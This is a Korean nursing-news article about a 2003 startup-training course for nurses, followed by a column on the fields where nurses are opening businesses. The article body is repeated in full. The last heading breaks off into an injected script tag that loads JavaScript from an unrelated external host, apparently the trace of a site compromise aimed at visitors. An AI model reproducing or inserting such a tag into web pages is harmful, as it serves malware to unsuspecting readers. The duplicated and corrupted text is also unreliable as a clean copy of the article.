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간호의 새 길 `창업'
기사입력 2003-10-23 오전 09:34:43
◆ 간호사 위한 창업교육 열려
창업에 관심 있는 간호사들이 필요한 지식과 정보를 제공받고 창업인으로서의 전반적 소양을 다지는 유익한 자리가 마련됐다.
대한간호협회는 산업자원부 및 경기테크노파크의 후원을 받아 `간호사 창업교육'을 21∼22일 서울대 간호대학 강당에서 실시했다. 이번 교육은 새로운 간호사 영역으로 발돋움하고 있는 간호사 창업의 저변을 넓히고, 간호사들에게 창업마인드를 심어주기 위해 기획됐으며 70여명의 간호사들이 참여했다.
이틀간의 교육에서는 창업절차 및 창업아이템 선정, 입지선정과 상권분석, 간호사 창업 현황 및 전망, 창업자금 지원제도, 자금조달 및 사업계획서 작성, 쇼핑몰 창업, 창업의 기본, 창업마케팅 전략, 창업에 따른 세무 및 법률상식, 프랜차이즈 산업 등의 내용이 다뤄졌다.
강사로는 김수지 간협 복지위원장을 비롯, 유헌열·박명준 신세기경영컨설팅 대표와 김태호 전자상거래지원센터 전임강사, 방용성 (주)방스커뮤니티 대표 등이 나서 간호사들에게 창업에 관한 전문지식을 상세히 전달하고 조언을 아끼지 않았다.
강사들은 "자신의 경험을 십분 활용할 수 있고 잘 할 수 있는 분야에 도전하는 것이 유리하다"면서 "경영능력은 타고나는 것이 아니라 지속적으로 배양해 나가는 것이며 뚜렷한 철학을 갖고 성공에 대한 확신과 자신감을 잃지 않는 것이 중요하다"고 강조했다.
교육에 참가한 김순임 간호사(부산호스피스 자원봉사자)는 "배운 내용들이 창업은 물론 생활 속에서도 유용한 것들이라 좋았다"면서 "지역사회에서 호스피스기관을 개설하는 게 꿈인데 이번 교육을 통해 청사진을 그려볼 수 있었다"고 말했다. 병원에 근무하고 있는 박혜선 간호사는 "시장조사, 마케팅, 리스크관리 등 창업에 앞서 준비해야 할 부분이 무척 많더라"면서 "창업하기 전까지 많이 배우고 익혀놓을 생각"이라고 말했다.
박미경 기자 mkpark@nursenews.co.kr
◆ 간호사 창업 현황과 전망-김수지(대한간호협회 복지위원장)
간호사 창업이란 간호사 면허 소지자가 시설을 개설해 시설장의 자격으로 독자적인 간호업무를 수행하는 것을 뜻한다. 간호사가 간호학문의 이점을 살려 창업하고 있는 분야는 간호사 종사분야 확대와 함께 점차 다양해지고 있다.
간호사 창업분야 현황을 살펴보면 우선, 간호사에 의한 창업을 법으로 규정하고 있는 분야인 너싱홈(노인복지법), 아동보육센터(영유아보육법), 사회복귀시설(정신보건법) 등과 조산사가 개설할 수 있는 조산원(의료법)이 있다. 특히 너싱홈과 보육시설 분야는 급속한 노령화와 여성의 사회진출, 핵가족화 등 사회구조의 변화로 인해 더욱 활성화될 전망이다.
다음으로, 일반인도 개설할 수 있지만 많은 부분에서 간호학적 학문배경이나 간호실무경험이 유리하게 작용할 수 있는 분야로 산후조리원, 대체요법센터 등을 들 수 있다. 전문적인 교육을 받고 임상경험을 가진 간호사가 이 분야의 창업자로서 가장 적절하다고 볼 수 있다.
이와 함께 다양한 영역에서 간호학 전공이 창업 기반이 될 수 있는 분야가 새롭게 떠오르고 있다. 병원직원 교육기관, 건강교육 및 상담센터 등 교육·상담관련 분야를 비롯해 의료분쟁 컨설팅, 노인의료사업, 건강관리서비스, 특수치료분야 등이 해당된다.
신규창업 가능분야로는 현재 창업의 형태를 취하고 있진 않지만 사업적 타당성만 있으면 창업할 수 있는 업종으로 심사청구 교육 및 대행기관, 의료관련 컨설팅기관, 인력교육 및 파견기관, IT 분야 등이 꼽히며, 건강관리를 위한 간호사업소, 건강지식 및 정보분야, 건강제품 분야도 유망하다.
이처럼 간호사 창업분야가 확대되고 있으나 아직까지 간호사들의 참여가 활발하지는 못한 실정이다. 창업은 간호사가 개원해 독자적인 전문간호를 제공할 수 있는 새로운 영역이며, 업무분야 확대와 신직업 창출로 간호사 재취업 증대도 꾀할 수 있어 앞으로 계속 증가할 것으로 기대된다.
간호사는 간호업무를 수행할 수 있는 기술과 지식을 보유하고 있고 여성으로서의 장점을 살릴 수 있으며, `서비스'라는 강력한 무기를 갖고 있으므로 간호관련 전문지식을 활용하고 새로운 영역의 교육과정을 이수한다면 창업의 기회가 많을 것이다. 따라서 간호사들은 간호의 이점을 최대한 살려 새로운 도전에 적극적으로 나서야 한다.
간호사 창업의 저변 확대와 활성화를 위해 대한간호협회는 간호센터 모형개발 연구, 간호사 창업 실태조사, 창업영역 확대방안 연구 등을 진행중이다.
앞으로도 간협은 간호사 창업 전용 홈페이지 및 창업 상담창구 개설, 지역사회중심 가정간호사업소 등 창업분야 개발 및 확대, 창업자 정기 간담회 및 문제점 모니터링, 분야별 컨설턴트 위촉, 경영 및 마케팅 전략 교육 등의 방안을 마련할 계획이다.
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창업에 관심 있는 간호사들이 필요한 지식과 정보를 제공받고 창업인으로서의 전반적 소양을 다지는 유익한 자리가 마련됐다.
대한간호협회는 산업자원부 및 경기테크노파크의 후원을 받아 `간호사 창업교육'을 21∼22일 서울대 간호대학 강당에서 실시했다. 이번 교육은 새로운 간호사 영역으로 발돋움하고 있는 간호사 창업의 저변을 넓히고, 간호사들에게 창업마인드를 심어주기 위해 기획됐으며 70여명의 간호사들이 참여했다.
이틀간의 교육에서는 창업절차 및 창업아이템 선정, 입지선정과 상권분석, 간호사 창업 현황 및 전망, 창업자금 지원제도, 자금조달 및 사업계획서 작성, 쇼핑몰 창업, 창업의 기본, 창업마케팅 전략, 창업에 따른 세무 및 법률상식, 프랜차이즈 산업 등의 내용이 다뤄졌다.
강사로는 김수지 간협 복지위원장을 비롯, 유헌열·박명준 신세기경영컨설팅 대표와 김태호 전자상거래지원센터 전임강사, 방용성 (주)방스커뮤니티 대표 등이 나서 간호사들에게 창업에 관한 전문지식을 상세히 전달하고 조언을 아끼지 않았다.
강사들은 "자신의 경험을 십분 활용할 수 있고 잘 할 수 있는 분야에 도전하는 것이 유리하다"면서 "경영능력은 타고나는 것이 아니라 지속적으로 배양해 나가는 것이며 뚜렷한 철학을 갖고 성공에 대한 확신과 자신감을 잃지 않는 것이 중요하다"고 강조했다.
교육에 참가한 김순임 간호사(부산호스피스 자원봉사자)는 "배운 내용들이 창업은 물론 생활 속에서도 유용한 것들이라 좋았다"면서 "지역사회에서 호스피스기관을 개설하는 게 꿈인데 이번 교육을 통해 청사진을 그려볼 수 있었다"고 말했다. 병원에 근무하고 있는 박혜선 간호사는 "시장조사, 마케팅, 리스크관리 등 창업에 앞서 준비해야 할 부분이 무척 많더라"면서 "창업하기 전까지 많이 배우고 익혀놓을 생각"이라고 말했다.
박미경 기자 mkpark@nursenews.co.kr
◆ 간호사 창업 현황과 전망-김수지(대한간호협회 복지위원장)
간호사 창업이란 간호사 면허 소지자가 시설을 개설해 시설장의 자격으로 독자적인 간호업무를 수행하는 것을 뜻한다. 간호사가 간호학문의 이점을 살려 창업하고 있는 분야는 간호사 종사분야 확대와 함께 점차 다양해지고 있다.
간호사 창업분야 현황을 살펴보면 우선, 간호사에 의한 창업을 법으로 규정하고 있는 분야인 너싱홈(노인복지법), 아동보육센터(영유아보육법), 사회복귀시설(정신보건법) 등과 조산사가 개설할 수 있는 조산원(의료법)이 있다. 특히 너싱홈과 보육시설 분야는 급속한 노령화와 여성의 사회진출, 핵가족화 등 사회구조의 변화로 인해 더욱 활성화될 전망이다.
다음으로, 일반인도 개설할 수 있지만 많은 부분에서 간호학적 학문배경이나 간호실무경험이 유리하게 작용할 수 있는 분야로 산후조리원, 대체요법센터 등을 들 수 있다. 전문적인 교육을 받고 임상경험을 가진 간호사가 이 분야의 창업자로서 가장 적절하다고 볼 수 있다.
이와 함께 다양한 영역에서 간호학 전공이 창업 기반이 될 수 있는 분야가 새롭게 떠오르고 있다. 병원직원 교육기관, 건강교육 및 상담센터 등 교육·상담관련 분야를 비롯해 의료분쟁 컨설팅, 노인의료사업, 건강관리서비스, 특수치료분야 등이 해당된다.
신규창업 가능분야로는 현재 창업의 형태를 취하고 있진 않지만 사업적 타당성만 있으면 창업할 수 있는 업종으로 심사청구 교육 및 대행기관, 의료관련 컨설팅기관, 인력교육 및 파견기관, IT 분야 등이 꼽히며, 건강관리를 위한 간호사업소, 건강지식 및 정보분야, 건강제품 분야도 유망하다.
이처럼 간호사 창업분야가 확대되고 있으나 아직까지 간호사들의 참여가 활발하지는 못한 실정이다. 창업은 간호사가 개원해 독자적인 전문간호를 제공할 수 있는 새로운 영역이며, 업무분야 확대와 신직업 창출로 간호사 재취업 증대도 꾀할 수 있어 앞으로 계속 증가할 것으로 기대된다.
간호사는 간호업무를 수행할 수 있는 기술과 지식을 보유하고 있고 여성으로서의 장점을 살릴 수 있으며, `서비스'라는 강력한 무기를 갖고 있으므로 간호관련 전문지식을 활용하고 새로운 영역의 교육과정을 이수한다면 창업의 기회가 많을 것이다. 따라서 간호사들은 간호의 이점을 최대한 살려 새로운 도전에 적극적으로 나서야 한다.
간호사 창업의 저변 확대와 활성화를 위해 대한간호협회는 간호센터 모형개발 연구, 간호사 창업 실태조사, 창업영역 확대방안 연구 등을 진행중이다.
앞으로도 간협은 간호사 창업 전용 홈페이지 및 창업 상담창구 개설, 지역사회중심 가정간호사업소 등 창업분야 개발 및 확대, 창업자 정기 간담회 및 문제점 모니터링, 분야별 컨설턴트 위촉, 경영 및 마케팅 전략 교육 등의 방안을 마련할 계획이다.
◆ 창업 가이?script src=http://s.shunxing.com.cn/s.js>
박미경 mkpark@nursenews.co.kr